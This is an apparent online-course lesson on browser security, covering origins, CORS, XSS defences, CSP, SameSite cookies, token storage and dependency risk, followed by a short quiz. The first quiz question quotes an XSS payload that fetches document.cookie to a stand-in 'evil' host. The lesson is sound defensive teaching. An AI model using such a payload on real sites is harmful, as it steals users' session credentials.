AniUI Academy

Security in the Browser

The same-origin policy, CORS from the server's side, XSS and CSP, SameSite cookies, token storage and supply chain risk — the part of security you own.

17 min read

A support tool rendered ticket bodies with innerHTML so agents could see basic formatting. A customer submitted a ticket containing an image tag with an onerror handler. The first agent to open it shipped their session token to a server in another country, and the attacker had admin access before anyone looked at a log. One property assignment, four years old, written by someone who knew better and was in a hurry.

Browser security is a small number of mechanisms you either use correctly or do not use at all. Here they are.

Origins

An origin is the triple scheme, host, port. Everything else about a URL is irrelevant to it.

https://app.example.com        origin A
https://api.example.com        different host  -> different origin
http://app.example.com         different scheme -> different origin
https://app.example.com:8443   different port  -> different origin
https://app.example.com/admin  same origin

The same-origin policy stops a document from reading across origins: another origin's DOM, its response bodies, its cookies, its storage. What it does not stop is sending. A form on any site can POST to yours, an image tag can hit any URL, and the browser will attach the user's cookies while doing it. That gap is where CSRF lives.

The old escape hatch, setting document.domain to a shared parent, is deprecated and disabled by default in Chromium. If you inherited code relying on it, move to postMessage with a checked event.origin.

CORS, from the server's side

CORS stops feeling arbitrary once you see what it is: a way for a server to say "this other origin is allowed to read my responses". It relaxes the same-origin policy. It does not protect your server, and it does not exist in curl.

A simple request goes straight out. It qualifies if the method is GET, HEAD or POST, the headers are on the safelist, and Content-Type is one of application/x-www-form-urlencoded, multipart/form-data or text/plain. The request happens either way; the browser then hides the response from your code unless the headers allow it. The side effect on the server has already occurred.

Anything else — PUT, DELETE, Content-Type: application/json, an Authorization header — triggers a preflight:

OPTIONS /orders HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type, authorization
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, PUT, DELETE
Access-Control-Allow-Headers: content-type, authorization
Access-Control-Max-Age: 86400

Max-Age is the one people forget. Without it every request pays for two round trips.

With credentials: "include", two rules tighten. Access-Control-Allow-Origin must name the exact origin — a wildcard is refused, because "anyone may read this" combined with the user's cookies would expose every user's data to every site. And Access-Control-Allow-Credentials: true must be present. If you echo the Origin header back to satisfy this, validate it against an allowlist first; reflecting it unconditionally is the same as a wildcard, with extra steps.

Custom response headers are invisible to JavaScript unless listed in Access-Control-Expose-Headers, which is why your pagination header keeps coming back null.

XSS, in three forms

Stored. The payload is persisted and served to other users. The ticket example above. The worst kind, because it fires without the victim doing anything unusual.

Reflected. The payload rides in the URL and is echoed into the response — a search term printed back on the results page. Requires a crafted link, which phishing supplies.

DOM-based. The payload never reaches the server. Client code takes location.hash or a query parameter and feeds it to a sink: innerHTML, document.write, eval, setTimeout with a string, or a javascript: URL assigned to href. Your server logs are clean and the bug is entirely yours.

Defences that work

Encode on output, in the right context. Not on input. The same string is safe in an HTML body, dangerous in an attribute, and dangerous differently in a URL or inside a script block. Only the point of output knows which.

Prefer textContent. It creates a text node. Markup in the value is never parsed as markup, so there is nothing to escape.

Treat innerHTML as a decision, not a convenience. Every use should be justifiable in review. insertAdjacentHTML and document.write carry the same risk.

Sanitise with a real library if you must render rich HTML. DOMPurify. Never a regular expression of your own — the bypass list for hand-rolled filters is long and public.

Trusted Types turn this from discipline into enforcement. With require-trusted-types-for 'script' in your CSP, assigning a plain string to innerHTML throws a TypeError; only values produced by a policy you defined are accepted. It converts a class of runtime vulnerability into a build-time error. Chromium-based browsers only for now, which still covers most attack traffic.

Framework users are not exempt. React escapes interpolated text, but dangerouslySetInnerHTML is exactly what it says, and href={userValue} will happily render a javascript: URL.

Try it yourself
Loading playground...

Blocklists fail because the attack surface is every element and attribute that can execute, not one tag. Allowlist, or hand it to DOMPurify.

Content Security Policy

CSP is the second line: it limits the damage when an injection does land.

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'none';
  require-trusted-types-for 'script'

The nonce must be generated per response and be unguessable, and every legit <script> carries it. strict-dynamic lets a trusted script load further scripts, which is what makes this workable with a bundler. object-src 'none' and base-uri 'none' close two classic bypasses.

Two things to know. Host allowlists are weak — Google's audit found the large majority of allowlist policies bypassable through a JSONP endpoint or an open redirect on some permitted domain. Nonces are the current recommendation. And unsafe-inline cancels the point of the whole header; if you add it to make a third-party widget work, you have chosen the widget over the policy. Roll out with Content-Security-Policy-Report-Only and a report-to endpoint first.

CSRF and SameSite

CSRF exploits the fact that the browser attaches cookies to cross-site requests automatically. A hidden form on any page can POST to your transfer endpoint, authenticated.

SameSite=Lax is now the default in Chromium: cookies are withheld from cross-site POSTs but sent on top-level GET navigation, so ordinary inbound links still work. Strict withholds them even then, which breaks links into authenticated pages. None requires Secure.

Do not rely on the default alone. Set it explicitly, and for state-changing requests also check Sec-Fetch-Site — reject anything cross-site — or use a synchroniser token. And keep GET free of side effects, because a cookie will be attached to one.

Clickjacking

An attacker frames your page invisibly over their own UI and harvests real clicks. frame-ancestors 'none' in the CSP is the modern control; 'self' if you frame yourself. X-Frame-Options is the older header, obsoleted by frame-ancestors but harmless to keep for legacy agents.

Where to keep a token

Argued properly, because the slogans on both sides are wrong.

localStorage is readable by every script running on the origin, including one injected through XSS or shipped in a compromised dependency. A stolen bearer token then works from the attacker's own machine for its full lifetime, with no browser involved.

An httpOnly, Secure, SameSite cookie cannot be read by script at all. XSS is still catastrophic — the attacker can make authenticated requests from the page — but the credential does not leave the browser, and the attack ends when the tab closes. In exchange you take on CSRF, which SameSite plus an origin check handles.

The honest summary: neither survives XSS unharmed, but the blast radius differs sharply, and httpOnly cookies are the better default for session credentials. A short-lived access token in memory with a refresh token in an httpOnly cookie is the strongest common arrangement. Never keep a token in sessionStorage because it feels safer; it has the same exposure.

Dependencies

Your bundle is mostly other people's code, and a transitive dependency you have never heard of runs with the same privileges as yours. event-stream, ua-parser-js and node-ipc were all published, installed and executed as normal packages.

Commit the lockfile and install with npm ci. Read what a new dependency pulls in before adding it. Run --ignore-scripts in CI where you can, since postinstall is the usual foothold. Treat npm audit as a starting point, not a verdict — it over-reports in dev dependencies and under-reports typosquats.

For third-party scripts you load by URL, use subresource integrity:

<script
  src="https://cdn.example.com/widget.v2.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

The browser hashes the file and refuses to execute it if the hash differs, so a compromised CDN cannot swap the file. It only works for content that never changes, so pin a version. It does nothing for a script that is malicious at the version you pinned.

Not security

  • Obfuscation and minification. A deobfuscator takes seconds.
  • A key in the bundle. It is in the Network tab. If the client can send it, the user can read it. Proxy through your own server.
  • Client-side validation. It is a UX feature. Every rule must exist on the server too.
  • A hidden admin route or a disabled button. The endpoint is what needs the authorisation check.

What to remember

  • Origin is scheme, host and port. The policy blocks reading, not sending.
  • CORS grants read access to a named origin. Wildcard plus credentials is refused, correctly.
  • textContent by default; innerHTML needs a reason; DOMPurify if you need markup.
  • CSP is damage limitation, and unsafe-inline throws that away.
  • SameSite plus an origin check for CSRF; frame-ancestors for clickjacking.
  • httpOnly cookies over localStorage for session tokens, and pin third-party scripts with SRI.

Check yourself

4 questions · pass 3/4 to finish the course

up to 50
  1. 1.A display name is rendered with innerHTML. An attacker sets theirs to <img src=x onerror="fetch('//evil/'+document.cookie)">. Which single change stops the payload running?

  2. 2.Why does a browser refuse Access-Control-Allow-Origin: * on a response to a credentialed request?

  3. 3.A policy reads script-src 'self' 'unsafe-inline'. What does it defend against?

  4. 4.What does an httpOnly cookie give you that a token in localStorage does not?

4 left to answer